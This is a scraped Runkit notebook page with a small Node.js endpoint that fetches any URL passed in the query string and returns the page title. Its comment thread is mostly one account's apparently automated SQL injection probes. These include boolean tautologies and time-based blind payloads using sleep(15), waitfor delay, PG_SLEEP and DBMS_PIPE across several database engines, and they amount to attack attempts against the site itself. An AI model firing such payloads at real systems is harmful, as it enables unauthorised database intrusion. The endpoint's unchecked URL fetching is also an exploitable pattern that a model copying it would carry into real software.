Clone and edit this document
Runkit
Runkit
home page
user forum
new notebook
clone notebook
download notebook
support & documentation
log in
sign up
new notebook
help & feedback
clone this notebook
download this notebook
Sign In
Sign Up
JSON Endpoint Example 2
node v4.9.1
version:
1.0.0
endpoint
share
tweet
Send a request like ?url=http://google.com, get back the title of the page.
var endpoint = require("notebook")("tonic/json-endpoint/1.0.0") var request = require("request") var cheerio = require("cheerio") endpoint(module.exports, function(req, done) { request(req.query.url, function(error, response, body) { if (error) return done({error: "could not retrieve page"}) var page = cheerio.load(body) done({ title: page("title").text() || "no title" }) }) })
Instead of promises, we're using callbacks, and explicitly calling "done" with whatever value we want to return to the caller.
Loading…
27 comments
posted
8 years ago
by
confidentattire123
thank you
posted
8 years ago
by
confidentattire123
?urlhttp://google.com
posted
2 months ago
by
xsjybldb
1
posted
2 months ago
by
xsjybldb
1
posted
2 months ago
by
xsjybldb
-1 OR 2+482-482-1=0+0+0+1 --
posted
2 months ago
by
xsjybldb
-1 OR 2+557-557-1=0+0+0+1
posted
2 months ago
by
xsjybldb
-1' OR 2+262-262-1=0+0+0+1 --
posted
2 months ago
by
xsjybldb
-1' OR 2+816-816-1=0+0+0+1 or 'bihdh2xt'='
posted
2 months ago
by
xsjybldb
-1" OR 2+386-386-1=0+0+0+1 --
posted
2 months ago
by
xsjybldb
if(now()=sysdate(),sleep(15),0)
posted
2 months ago
by
xsjybldb
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
posted
2 months ago
by
xsjybldb
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
posted
2 months ago
by
xsjybldb
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
posted
2 months ago
by
xsjybldb
-1; waitfor delay '0:0:15' --
posted
2 months ago
by
xsjybldb
-1); waitfor delay '0:0:15' --
posted
2 months ago
by
xsjybldb
1 waitfor delay '0:0:15' --
posted
2 months ago
by
xsjybldb
IsUpQDPb'; waitfor delay '0:0:15' --
posted
2 months ago
by
xsjybldb
-5 OR 909=(SELECT 909 FROM PG_SLEEP(15))--
posted
2 months ago
by
xsjybldb
-5) OR 832=(SELECT 832 FROM PG_SLEEP(15))--
posted
2 months ago
by
xsjybldb
-1)) OR 251=(SELECT 251 FROM PG_SLEEP(15))--
posted
2 months ago
by
xsjybldb
mkWl7f7H' OR 618=(SELECT 618 FROM PG_SLEEP(15))--
posted
2 months ago
by
xsjybldb
MYQ3f4QJ') OR 327=(SELECT 327 FROM PG_SLEEP(15))--
posted
2 months ago
by
xsjybldb
Dr24ARIl')) OR 977=(SELECT 977 FROM PG_SLEEP(15))--
posted
2 months ago
by
xsjybldb
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
posted
2 months ago
by
xsjybldb
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
posted
2 months ago
by
xsjybldb
1'"
posted
2 months ago
by
xsjybldb
@@N8ppr
sign in
to comment